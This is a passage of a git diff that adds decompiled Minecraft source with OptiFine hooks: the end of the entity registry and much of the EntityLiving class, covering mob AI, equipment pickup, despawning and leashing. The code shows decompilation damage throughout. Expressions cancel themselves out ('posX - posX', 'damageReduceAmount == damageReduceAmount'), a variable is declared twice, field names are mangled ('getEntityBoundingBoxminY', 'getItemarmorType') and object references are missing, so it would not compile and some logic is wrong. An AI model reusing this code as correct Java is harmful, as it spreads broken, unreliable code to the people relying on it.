+    addMapping(EntityWolf.class, "Wolf", 95, 14144467, 13545366);
+    addMapping(EntityMooshroom.class, "MushroomCow", 96, 10489616, 12040119);
+    addMapping(EntitySnowman.class, "SnowMan", 97);
+    addMapping(EntityOcelot.class, "Ozelot", 98, 15720061, 5653556);
+    addMapping(EntityIronGolem.class, "VillagerGolem", 99);
+    addMapping(EntityHorse.class, "EntityHorse", 100, 12623485, 15656192);
+    addMapping(EntityRabbit.class, "Rabbit", 101, 10051392, 7555121);
+    addMapping(EntityVillager.class, "Villager", 120, 5651507, 12422002);
+    addMapping(EntityEnderCrystal.class, "EnderCrystal", 200);
+  }
+  
+  public EntityList() {}
+  
+  public static void func_151514_a() {}
+  
+  public static class EntityEggInfo { public final int spawnedID;
+    public final int primaryColor;
+    public final int secondaryColor;
+    public final StatBase field_151512_d;
+    public final StatBase field_151513_e;
+    private static final String __OBFID = "CL_00001539";
+    
+    public EntityEggInfo(int p_i1583_1_, int p_i1583_2_, int p_i1583_3_) { spawnedID = p_i1583_1_;
+      primaryColor = p_i1583_2_;
+      secondaryColor = p_i1583_3_;
+      field_151512_d = StatList.func_151182_a(this);
+      field_151513_e = StatList.func_151176_b(this);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityLiving.java b/src/minecraft/net/minecraft/entity/EntityLiving.java
new file mode 100644
index 0000000..1b995f5
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityLiving.java
@@ -0,0 +1,1412 @@
+package net.minecraft.entity;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityJumpHelper;
+import net.minecraft.entity.ai.EntityLookHelper;
+import net.minecraft.entity.ai.EntityMoveHelper;
+import net.minecraft.entity.ai.EntitySenses;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.monster.EntityGhast;
+import net.minecraft.entity.monster.EntityMob;
+import net.minecraft.entity.monster.IMob;
+import net.minecraft.entity.passive.EntityTameable;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemBow;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemSword;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagFloat;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.network.play.server.S1BPacketEntityAttach;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.biome.BiomeGenBase;
+import optifine.BlockPosM;
+import optifine.Config;
+import optifine.Reflector;
+
+
+
+public abstract class EntityLiving
+  extends EntityLivingBase
+{
+  public int livingSoundTime;
+  protected int experienceValue;
+  private EntityLookHelper lookHelper;
+  protected EntityMoveHelper moveHelper;
+  protected EntityJumpHelper jumpHelper;
+  private EntityBodyHelper bodyHelper;
+  protected PathNavigate navigator;
+  protected final EntityAITasks tasks;
+  protected final EntityAITasks targetTasks;
+  private EntityLivingBase attackTarget;
+  private EntitySenses senses;
+  private ItemStack[] equipment = new ItemStack[5];
+  
+
+  protected float[] equipmentDropChances = new float[5];
+  
+  private boolean canPickUpLoot;
+  
+  private boolean persistenceRequired;
+  
+  private boolean isLeashed;
+  
+  private Entity leashedToEntity;
+  private NBTTagCompound leashNBTTag;
+  private static final String __OBFID = "CL_00001550";
+  public int randomMobsId = 0;
+  public BiomeGenBase spawnBiome = null;
+  public BlockPos spawnPosition = null;
+  
+  public EntityLiving(World worldIn)
+  {
+    super(worldIn);
+    tasks = new EntityAITasks((worldIn != null) && (theProfiler != null) ? theProfiler : null);
+    targetTasks = new EntityAITasks((worldIn != null) && (theProfiler != null) ? theProfiler : null);
+    lookHelper = new EntityLookHelper(this);
+    moveHelper = new EntityMoveHelper(this);
+    jumpHelper = new EntityJumpHelper(this);
+    bodyHelper = new EntityBodyHelper(this);
+    navigator = func_175447_b(worldIn);
+    senses = new EntitySenses(this);
+    
+    for (int uuid = 0; uuid < equipmentDropChances.length; uuid++)
+    {
+      equipmentDropChances[uuid] = 0.085F;
+    }
+    
+    UUID var5 = getUniqueID();
+    long uuidLow = var5.getLeastSignificantBits();
+    randomMobsId = ((int)(uuidLow & 0x7FFFFFFF));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getAttributeMap().registerAttribute(SharedMonsterAttributes.followRange).setBaseValue(16.0D);
+  }
+  
+  protected PathNavigate func_175447_b(World worldIn)
+  {
+    return new PathNavigateGround(this, worldIn);
+  }
+  
+  public EntityLookHelper getLookHelper()
+  {
+    return lookHelper;
+  }
+  
+  public EntityMoveHelper getMoveHelper()
+  {
+    return moveHelper;
+  }
+  
+  public EntityJumpHelper getJumpHelper()
+  {
+    return jumpHelper;
+  }
+  
+  public PathNavigate getNavigator()
+  {
+    return navigator;
+  }
+  
+
+
+
+  public EntitySenses getEntitySenses()
+  {
+    return senses;
+  }
+  
+
+
+
+  public EntityLivingBase getAttackTarget()
+  {
+    return attackTarget;
+  }
+  
+
+
+
+  public void setAttackTarget(EntityLivingBase p_70624_1_)
+  {
+    attackTarget = p_70624_1_;
+    Reflector.callVoid(Reflector.ForgeHooks_onLivingSetAttackTarget, new Object[] { this, p_70624_1_ });
+  }
+  
+
+
+
+  public boolean canAttackClass(Class p_70686_1_)
+  {
+    return p_70686_1_ != EntityGhast.class;
+  }
+  
+
+
+  public void eatGrassBonus() {}
+  
+
+
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(15, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+  public int getTalkInterval()
+  {
+    return 80;
+  }
+  
+
+
+
+  public void playLivingSound()
+  {
+    String var1 = getLivingSound();
+    
+    if (var1 != null)
+    {
+      playSound(var1, getSoundVolume(), getSoundPitch());
+    }
+  }
+  
+
+
+
+  public void onEntityUpdate()
+  {
+    super.onEntityUpdate();
+    worldObj.theProfiler.startSection("mobBaseTick");
+    
+    if ((isEntityAlive()) && (rand.nextInt(1000) < livingSoundTime++))
+    {
+      livingSoundTime = (-getTalkInterval());
+      playLivingSound();
+    }
+    
+    worldObj.theProfiler.endSection();
+  }
+  
+
+
+
+  protected int getExperiencePoints(EntityPlayer p_70693_1_)
+  {
+    if (experienceValue > 0)
+    {
+      int var2 = experienceValue;
+      ItemStack[] var3 = getInventory();
+      
+      for (int var4 = 0; var4 < var3.length; var4++)
+      {
+        if ((var3[var4] != null) && (equipmentDropChances[var4] <= 1.0F))
+        {
+          var2 += 1 + rand.nextInt(3);
+        }
+      }
+      
+      return var2;
+    }
+    
+
+    return experienceValue;
+  }
+  
+
+
+
+
+  public void spawnExplosionParticle()
+  {
+    if (worldObj.isRemote)
+    {
+      for (int var1 = 0; var1 < 20; var1++)
+      {
+        double var2 = rand.nextGaussian() * 0.02D;
+        double var4 = rand.nextGaussian() * 0.02D;
+        double var6 = rand.nextGaussian() * 0.02D;
+        double var8 = 10.0D;
+        worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_NORMAL, posX + rand.nextFloat() * width * 2.0F - width - var2 * var8, posY + rand.nextFloat() * height - var4 * var8, posZ + rand.nextFloat() * width * 2.0F - width - var6 * var8, var2, var4, var6, new int[0]);
+      }
+      
+    }
+    else {
+      worldObj.setEntityState(this, (byte)20);
+    }
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 20)
+    {
+      spawnExplosionParticle();
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    if ((Config.isSmoothWorld()) && (canSkipUpdate()))
+    {
+      onUpdateMinimal();
+    }
+    else
+    {
+      super.onUpdate();
+      
+      if (!worldObj.isRemote)
+      {
+        updateLeashedState();
+      }
+    }
+  }
+  
+  protected float func_110146_f(float p_110146_1_, float p_110146_2_)
+  {
+    bodyHelper.updateRenderAngles();
+    return p_110146_2_;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return null;
+  }
+  
+  protected Item getDropItem()
+  {
+    return null;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    Item var3 = getDropItem();
+    
+    if (var3 != null)
+    {
+      int var4 = rand.nextInt(3);
+      
+      if (p_70628_2_ > 0)
+      {
+        var4 += rand.nextInt(p_70628_2_ + 1);
+      }
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        dropItem(var3, 1);
+      }
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setBoolean("CanPickUpLoot", canPickUpLoot());
+    tagCompound.setBoolean("PersistenceRequired", persistenceRequired);
+    NBTTagList var2 = new NBTTagList();
+    
+
+    for (int var6 = 0; var6 < equipment.length; var6++)
+    {
+      NBTTagCompound var4 = new NBTTagCompound();
+      
+      if (equipment[var6] != null)
+      {
+        equipment[var6].writeToNBT(var4);
+      }
+      
+      var2.appendTag(var4);
+    }
+    
+    tagCompound.setTag("Equipment", var2);
+    NBTTagList var61 = new NBTTagList();
+    
+    for (int var5 = 0; var5 < equipmentDropChances.length; var5++)
+    {
+      var61.appendTag(new NBTTagFloat(equipmentDropChances[var5]));
+    }
+    
+    tagCompound.setTag("DropChances", var61);
+    tagCompound.setBoolean("Leashed", isLeashed);
+    
+    if (leashedToEntity != null)
+    {
+      NBTTagCompound var4 = new NBTTagCompound();
+      
+      if ((leashedToEntity instanceof EntityLivingBase))
+      {
+        var4.setLong("UUIDMost", leashedToEntity.getUniqueID().getMostSignificantBits());
+        var4.setLong("UUIDLeast", leashedToEntity.getUniqueID().getLeastSignificantBits());
+      }
+      else if ((leashedToEntity instanceof EntityHanging))
+      {
+        BlockPos var7 = ((EntityHanging)leashedToEntity).func_174857_n();
+        var4.setInteger("X", var7.getX());
+        var4.setInteger("Y", var7.getY());
+        var4.setInteger("Z", var7.getZ());
+      }
+      
+      tagCompound.setTag("Leash", var4);
+    }
+    
+    if (isAIDisabled())
+    {
+      tagCompound.setBoolean("NoAI", isAIDisabled());
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("CanPickUpLoot", 1))
+    {
+      setCanPickUpLoot(tagCompund.getBoolean("CanPickUpLoot"));
+    }
+    
+    persistenceRequired = tagCompund.getBoolean("PersistenceRequired");
+    
+
+
+    if (tagCompund.hasKey("Equipment", 9))
+    {
+      NBTTagList var2 = tagCompund.getTagList("Equipment", 10);
+      
+      for (int var3 = 0; var3 < equipment.length; var3++)
+      {
+        equipment[var3] = ItemStack.loadItemStackFromNBT(var2.getCompoundTagAt(var3));
+      }
+    }
+    
+    if (tagCompund.hasKey("DropChances", 9))
+    {
+      NBTTagList var2 = tagCompund.getTagList("DropChances", 5);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        equipmentDropChances[var3] = var2.getFloat(var3);
+      }
+    }
+    
+    isLeashed = tagCompund.getBoolean("Leashed");
+    
+    if ((isLeashed) && (tagCompund.hasKey("Leash", 10)))
+    {
+      leashNBTTag = tagCompund.getCompoundTag("Leash");
+    }
+    
+    setNoAI(tagCompund.getBoolean("NoAI"));
+  }
+  
+  public void setMoveForward(float p_70657_1_)
+  {
+    moveForward = p_70657_1_;
+  }
+  
+
+
+
+  public void setAIMoveSpeed(float p_70659_1_)
+  {
+    super.setAIMoveSpeed(p_70659_1_);
+    setMoveForward(p_70659_1_);
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    worldObj.theProfiler.startSection("looting");
+    
+    if ((!worldObj.isRemote) && (canPickUpLoot()) && (!dead) && (worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing")))
+    {
+      List var1 = worldObj.getEntitiesWithinAABB(EntityItem.class, getEntityBoundingBox().expand(1.0D, 0.0D, 1.0D));
+      Iterator var2 = var1.iterator();
+      
+      while (var2.hasNext())
+      {
+        EntityItem var3 = (EntityItem)var2.next();
+        
+        if ((!isDead) && (var3.getEntityItem() != null) && (!var3.func_174874_s()))
+        {
+          func_175445_a(var3);
+        }
+      }
+    }
+    
+    worldObj.theProfiler.endSection();
+  }
+  
+  protected void func_175445_a(EntityItem p_175445_1_)
+  {
+    ItemStack var2 = p_175445_1_.getEntityItem();
+    int var3 = getArmorPosition(var2);
+    
+    if (var3 > -1)
+    {
+      boolean var4 = true;
+      ItemStack var5 = getEquipmentInSlot(var3);
+      
+      if (var5 != null)
+      {
+        if (var3 == 0)
+        {
+          if (((var2.getItem() instanceof ItemSword)) && (!(var5.getItem() instanceof ItemSword)))
+          {
+            var4 = true;
+          }
+          else if (((var2.getItem() instanceof ItemSword)) && ((var5.getItem() instanceof ItemSword)))
+          {
+            ItemSword var9 = (ItemSword)var2.getItem();
+            ItemSword var10 = (ItemSword)var5.getItem();
+            
+            if (var9.func_150931_i() == var10.func_150931_i())
+            {
+              var4 = (var2.getMetadata() > var5.getMetadata()) || ((var2.hasTagCompound()) && (!var5.hasTagCompound()));
+            }
+            else
+            {
+              var4 = var9.func_150931_i() > var10.func_150931_i();
+            }
+          }
+          else if (((var2.getItem() instanceof ItemBow)) && ((var5.getItem() instanceof ItemBow)))
+          {
+            var4 = (var2.hasTagCompound()) && (!var5.hasTagCompound());
+          }
+          else
+          {
+            var4 = false;
+          }
+        }
+        else if (((var2.getItem() instanceof ItemArmor)) && (!(var5.getItem() instanceof ItemArmor)))
+        {
+          var4 = true;
+        }
+        else if (((var2.getItem() instanceof ItemArmor)) && ((var5.getItem() instanceof ItemArmor)))
+        {
+          ItemArmor var91 = (ItemArmor)var2.getItem();
+          ItemArmor var101 = (ItemArmor)var5.getItem();
+          
+          if (damageReduceAmount == damageReduceAmount)
+          {
+            var4 = (var2.getMetadata() > var5.getMetadata()) || ((var2.hasTagCompound()) && (!var5.hasTagCompound()));
+          }
+          else
+          {
+            var4 = damageReduceAmount > damageReduceAmount;
+          }
+        }
+        else
+        {
+          var4 = false;
+        }
+      }
+      
+      if ((var4) && (func_175448_a(var2)))
+      {
+        if ((var5 != null) && (rand.nextFloat() - 0.1F < equipmentDropChances[var3]))
+        {
+          entityDropItem(var5, 0.0F);
+        }
+        
+        if ((var2.getItem() == Items.diamond) && (p_175445_1_.getThrower() != null))
+        {
+          EntityPlayer var92 = worldObj.getPlayerEntityByName(p_175445_1_.getThrower());
+          
+          if (var92 != null)
+          {
+            var92.triggerAchievement(AchievementList.diamondsToYou);
+          }
+        }
+        
+        setCurrentItemOrArmor(var3, var2);
+        equipmentDropChances[var3] = 2.0F;
+        persistenceRequired = true;
+        onItemPickup(p_175445_1_, 1);
+        p_175445_1_.setDead();
+      }
+    }
+  }
+  
+  protected boolean func_175448_a(ItemStack p_175448_1_)
+  {
+    return true;
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return true;
+  }
+  
+
+
+
+  protected void despawnEntity()
+  {
+    Object result = null;
+    Object Result_DEFAULT = Reflector.getFieldValue(Reflector.Event_Result_DEFAULT);
+    Object Result_DENY = Reflector.getFieldValue(Reflector.Event_Result_DENY);
+    
+    if (persistenceRequired)
+    {
+      entityAge = 0;
+    } else {
+      if ((entityAge & 0x1F) == 31) { if ((result = Reflector.call(Reflector.ForgeEventFactory_canEntityDespawn, new Object[] { this })) != Result_DEFAULT)
+        {
+          if (result == Result_DENY)
+          {
+            entityAge = 0;
+            return;
+          }
+          
+          setDead();
+          
+          return;
+        }
+      }
+      EntityPlayer var1 = worldObj.getClosestPlayerToEntity(this, -1.0D);
+      
+      if (var1 != null)
+      {
+        double var2 = posX - posX;
+        double var4 = posY - posY;
+        double var6 = posZ - posZ;
+        double var8 = var2 * var2 + var4 * var4 + var6 * var6;
+        
+        if ((canDespawn()) && (var8 > 16384.0D))
+        {
+          setDead();
+        }
+        
+        if ((entityAge > 600) && (rand.nextInt(800) == 0) && (var8 > 1024.0D) && (canDespawn()))
+        {
+          setDead();
+        }
+        else if (var8 < 1024.0D)
+        {
+          entityAge = 0;
+        }
+      }
+    }
+  }
+  
+  protected final void updateEntityActionState()
+  {
+    entityAge += 1;
+    worldObj.theProfiler.startSection("checkDespawn");
+    despawnEntity();
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("sensing");
+    senses.clearSensingCache();
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("targetSelector");
+    targetTasks.onUpdateTasks();
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("goalSelector");
+    tasks.onUpdateTasks();
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("navigation");
+    navigator.onUpdateNavigation();
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("mob tick");
+    updateAITasks();
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.startSection("controls");
+    worldObj.theProfiler.startSection("move");
+    moveHelper.onUpdateMoveHelper();
+    worldObj.theProfiler.endStartSection("look");
+    lookHelper.onUpdateLook();
+    worldObj.theProfiler.endStartSection("jump");
+    jumpHelper.doJump();
+    worldObj.theProfiler.endSection();
+    worldObj.theProfiler.endSection();
+  }
+  
+
+
+  protected void updateAITasks() {}
+  
+
+
+  public int getVerticalFaceSpeed()
+  {
+    return 40;
+  }
+  
+
+
+
+  public void faceEntity(Entity p_70625_1_, float p_70625_2_, float p_70625_3_)
+  {
+    double var4 = posX - posX;
+    double var8 = posZ - posZ;
+    double var6;
+    double var6;
+    if ((p_70625_1_ instanceof EntityLivingBase))
+    {
+      EntityLivingBase var14 = (EntityLivingBase)p_70625_1_;
+      var6 = posY + var14.getEyeHeight() - (posY + getEyeHeight());
+    }
+    else
+    {
+      var6 = (getEntityBoundingBoxminY + getEntityBoundingBoxmaxY) / 2.0D - (posY + getEyeHeight());
+    }
+    
+    double var141 = MathHelper.sqrt_double(var4 * var4 + var8 * var8);
+    float var12 = (float)(Math.atan2(var8, var4) * 180.0D / 3.141592653589793D) - 90.0F;
+    float var13 = (float)-(Math.atan2(var6, var141) * 180.0D / 3.141592653589793D);
+    rotationPitch = updateRotation(rotationPitch, var13, p_70625_3_);
+    rotationYaw = updateRotation(rotationYaw, var12, p_70625_2_);
+  }
+  
+
+
+
+  private float updateRotation(float p_70663_1_, float p_70663_2_, float p_70663_3_)
+  {
+    float var4 = MathHelper.wrapAngleTo180_float(p_70663_2_ - p_70663_1_);
+    
+    if (var4 > p_70663_3_)
+    {
+      var4 = p_70663_3_;
+    }
+    
+    if (var4 < -p_70663_3_)
+    {
+      var4 = -p_70663_3_;
+    }
+    
+    return p_70663_1_ + var4;
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean handleLavaMovement()
+  {
+    return (worldObj.checkNoEntityCollision(getEntityBoundingBox(), this)) && (worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty()) && (!worldObj.isAnyLiquid(getEntityBoundingBox()));
+  }
+  
+
+
+
+  public float getRenderSizeModifier()
+  {
+    return 1.0F;
+  }
+  
+
+
+
+  public int getMaxSpawnedInChunk()
+  {
+    return 4;
+  }
+  
+
+
+
+  public int getMaxFallHeight()
+  {
+    if (getAttackTarget() == null)
+    {
+      return 3;
+    }
+    
+
+    int var1 = (int)(getHealth() - getMaxHealth() * 0.33F);
+    var1 -= (3 - worldObj.getDifficulty().getDifficultyId()) * 4;
+    
+    if (var1 < 0)
+    {
+      var1 = 0;
+    }
+    
+    return var1 + 3;
+  }
+  
+
+
+
+
+  public ItemStack getHeldItem()
+  {
+    return equipment[0];
+  }
+  
+
+
+
+  public ItemStack getEquipmentInSlot(int slotIn)
+  {
+    return equipment[slotIn];
+  }
+  
+  public ItemStack getCurrentArmor(int slotIn)
+  {
+    return equipment[(slotIn + 1)];
+  }
+  
+
+
+
+  public void setCurrentItemOrArmor(int slotIn, ItemStack stack)
+  {
+    equipment[slotIn] = stack;
+  }
+  
+
+
+
+  public ItemStack[] getInventory()
+  {
+    return equipment;
+  }
+  
+
+
+
+  protected void dropEquipment(boolean p_82160_1_, int p_82160_2_)
+  {
+    for (int var3 = 0; var3 < getInventory().length; var3++)
+    {
+      ItemStack var4 = getEquipmentInSlot(var3);
+      boolean var5 = equipmentDropChances[var3] > 1.0F;
+      
+      if ((var4 != null) && ((p_82160_1_) || (var5)) && (rand.nextFloat() - p_82160_2_ * 0.01F < equipmentDropChances[var3]))
+      {
+        if ((!var5) && (var4.isItemStackDamageable()))
+        {
+          int var6 = Math.max(var4.getMaxDamage() - 25, 1);
+          int var7 = var4.getMaxDamage() - rand.nextInt(rand.nextInt(var6) + 1);
+          
+          if (var7 > var6)
+          {
+            var7 = var6;
+          }
+          
+          if (var7 < 1)
+          {
+            var7 = 1;
+          }
+          
+          var4.setItemDamage(var7);
+        }
+        
+        entityDropItem(var4, 0.0F);
+      }
+    }
+  }
+  
+  protected void func_180481_a(DifficultyInstance p_180481_1_)
+  {
+    if (rand.nextFloat() < 0.15F * p_180481_1_.func_180170_c())
+    {
+      int var2 = rand.nextInt(2);
+      float var3 = worldObj.getDifficulty() == EnumDifficulty.HARD ? 0.1F : 0.25F;
+      
+      if (rand.nextFloat() < 0.095F)
+      {
+        var2++;
+      }
+      
+      if (rand.nextFloat() < 0.095F)
+      {
+        var2++;
+      }
+      
+      if (rand.nextFloat() < 0.095F)
+      {
+        var2++;
+      }
+      
+      for (int var4 = 3; var4 >= 0; var4--)
+      {
+        ItemStack var5 = getCurrentArmor(var4);
+        
+        if ((var4 < 3) && (rand.nextFloat() < var3)) {
+          break;
+        }
+        
+
+        if (var5 == null)
+        {
+          Item var6 = getArmorItemForSlot(var4 + 1, var2);
+          
+          if (var6 != null)
+          {
+            setCurrentItemOrArmor(var4 + 1, new ItemStack(var6));
+          }
+        }
+      }
+    }
+  }
+  
+  public static int getArmorPosition(ItemStack p_82159_0_)
+  {
+    if ((p_82159_0_.getItem() != Item.getItemFromBlock(Blocks.pumpkin)) && (p_82159_0_.getItem() != Items.skull))
+    {
+      if ((p_82159_0_.getItem() instanceof ItemArmor))
+      {
+        switch (getItemarmorType)
+        {
+        case 0: 
+          return 4;
+        
+        case 1: 
+          return 3;
+        
+        case 2: 
+          return 2;
+        
+        case 3: 
+          return 1;
+        }
+        
+      }
+      return 0;
+    }
+    
+
+    return 4;
+  }
+  
+
+
+
+
+  public static Item getArmorItemForSlot(int armorSlot, int itemTier)
+  {
+    switch (armorSlot)
+    {
+    case 4: 
+      if (itemTier == 0)
+      {
+        return Items.leather_helmet;
+      }
+      if (itemTier == 1)
+      {
+        return Items.golden_helmet;
+      }
+      if (itemTier == 2)
+      {
+        return Items.chainmail_helmet;
+      }
+      if (itemTier == 3)
+      {
+        return Items.iron_helmet;
+      }
+      if (itemTier == 4)
+      {
+        return Items.diamond_helmet;
+      }
+    
+    case 3: 
+      if (itemTier == 0)
+      {
+        return Items.leather_chestplate;
+      }
+      if (itemTier == 1)
+      {
+        return Items.golden_chestplate;
+      }
+      if (itemTier == 2)
+      {
+        return Items.chainmail_chestplate;
+      }
+      if (itemTier == 3)
+      {
+        return Items.iron_chestplate;
+      }
+      if (itemTier == 4)
+      {
+        return Items.diamond_chestplate;
+      }
+    
+    case 2: 
+      if (itemTier == 0)
+      {
+        return Items.leather_leggings;
+      }
+      if (itemTier == 1)
+      {
+        return Items.golden_leggings;
+      }
+      if (itemTier == 2)
+      {
+        return Items.chainmail_leggings;
+      }
+      if (itemTier == 3)
+      {
+        return Items.iron_leggings;
+      }
+      if (itemTier == 4)
+      {
+        return Items.diamond_leggings;
+      }
+    
+    case 1: 
+      if (itemTier == 0)
+      {
+        return Items.leather_boots;
+      }
+      if (itemTier == 1)
+      {
+        return Items.golden_boots;
+      }
+      if (itemTier == 2)
+      {
+        return Items.chainmail_boots;
+      }
+      if (itemTier == 3)
+      {
+        return Items.iron_boots;
+      }
+      if (itemTier == 4)
+      {
+        return Items.diamond_boots;
+      }
+      break;
+    }
+    return null;
+  }
+  
+
+  protected void func_180483_b(DifficultyInstance p_180483_1_)
+  {
+    float var2 = p_180483_1_.func_180170_c();
+    
+    if ((getHeldItem() != null) && (rand.nextFloat() < 0.25F * var2))
+    {
+      EnchantmentHelper.addRandomEnchantment(rand, getHeldItem(), (int)(5.0F + var2 * rand.nextInt(18)));
+    }
+    
+    for (int var3 = 0; var3 < 4; var3++)
+    {
+      ItemStack var4 = getCurrentArmor(var3);
+      
+      if ((var4 != null) && (rand.nextFloat() < 0.5F * var2))
+      {
+        EnchantmentHelper.addRandomEnchantment(rand, var4, (int)(5.0F + var2 * rand.nextInt(18)));
+      }
+    }
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    getEntityAttribute(SharedMonsterAttributes.followRange).applyModifier(new AttributeModifier("Random spawn bonus", rand.nextGaussian() * 0.05D, 1));
+    return p_180482_2_;
+  }
+  
+
+
+
+
+  public boolean canBeSteered()
+  {
+    return false;
+  }
+  
+
+
+
+  public void enablePersistence()
+  {
+    persistenceRequired = true;
+  }
+  
+  public void setEquipmentDropChance(int p_96120_1_, float p_96120_2_)
+  {
+    equipmentDropChances[p_96120_1_] = p_96120_2_;
+  }
+  
+  public boolean canPickUpLoot()
+  {
+    return canPickUpLoot;
+  }
+  
+  public void setCanPickUpLoot(boolean p_98053_1_)
+  {
+    canPickUpLoot = p_98053_1_;
+  }
+  
+  public boolean isNoDespawnRequired()
+  {
+    return persistenceRequired;
+  }
+  
+
+
+
+  public final boolean interactFirst(EntityPlayer playerIn)
+  {
+    if ((getLeashed()) && (getLeashedToEntity() == playerIn))
+    {
+      clearLeashed(true, !capabilities.isCreativeMode);
+      return true;
+    }
+    
+
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() == Items.lead) && (allowLeashing()))
+    {
+      if ((!(this instanceof EntityTameable)) || (!((EntityTameable)this).isTamed()))
+      {
+        setLeashedToEntity(playerIn, true);
+        stackSize -= 1;
+        return true;
+      }
+      
+      if (((EntityTameable)this).func_152114_e(playerIn))
+      {
+        setLeashedToEntity(playerIn, true);
+        stackSize -= 1;
+        return true;
+      }
+    }
+    
+    return interact(playerIn) ? true : super.interactFirst(playerIn);
+  }
+  
+
+
+
+
+  protected boolean interact(EntityPlayer player)
+  {
+    return false;
+  }
+  
+
+
+
+  protected void updateLeashedState()
+  {
+    if (leashNBTTag != null)
+    {
+      recreateLeash();
+    }
+    
+    if (isLeashed)
+    {
+      if (!isEntityAlive())
+      {
+        clearLeashed(true, true);
+      }
+      
+      if ((leashedToEntity == null) || (leashedToEntity.isDead))
+      {
+        clearLeashed(true, true);
+      }
+    }
+  }
+  
+
+
+
+  public void clearLeashed(boolean p_110160_1_, boolean p_110160_2_)
+  {
+    if (isLeashed)
+    {
+      isLeashed = false;
+      leashedToEntity = null;
+      
+      if ((!worldObj.isRemote) && (p_110160_2_))
+      {
+        dropItem(Items.lead, 1);
+      }
+      
+      if ((!worldObj.isRemote) && (p_110160_1_) && ((worldObj instanceof WorldServer)))
+      {
+        ((WorldServer)worldObj).getEntityTracker().sendToAllTrackingEntity(this, new S1BPacketEntityAttach(1, this, null));
+      }
+    }
+  }
+  
+  public boolean allowLeashing()
+  {
+    return (!getLeashed()) && (!(this instanceof IMob));
+  }
+  
+  public boolean getLeashed()
+  {
+    return isLeashed;
+  }
+  
+  public Entity getLeashedToEntity()
+  {
+    return leashedToEntity;
+  }
+  
+
+
+
+  public void setLeashedToEntity(Entity entityIn, boolean sendAttachNotification)
+  {
+    isLeashed = true;
+    leashedToEntity = entityIn;
+    
+    if ((!worldObj.isRemote) && (sendAttachNotification) && ((worldObj instanceof WorldServer)))
+    {
+      ((WorldServer)worldObj).getEntityTracker().sendToAllTrackingEntity(this, new S1BPacketEntityAttach(1, this, leashedToEntity));
+    }
+  }
+  
+  private void recreateLeash()
+  {
+    if ((isLeashed) && (leashNBTTag != null))
+    {
+      if ((leashNBTTag.hasKey("UUIDMost", 4)) && (leashNBTTag.hasKey("UUIDLeast", 4)))
+      {
+        UUID var11 = new UUID(leashNBTTag.getLong("UUIDMost"), leashNBTTag.getLong("UUIDLeast"));
+        List var21 = worldObj.getEntitiesWithinAABB(EntityLivingBase.class, getEntityBoundingBox().expand(10.0D, 10.0D, 10.0D));
+        Iterator var3 = var21.iterator();
+        
+        while (var3.hasNext())
+        {
+          EntityLivingBase var4 = (EntityLivingBase)var3.next();
+          
+          if (var4.getUniqueID().equals(var11))
+          {
+            leashedToEntity = var4;
+            break;
+          }
+        }
+      }
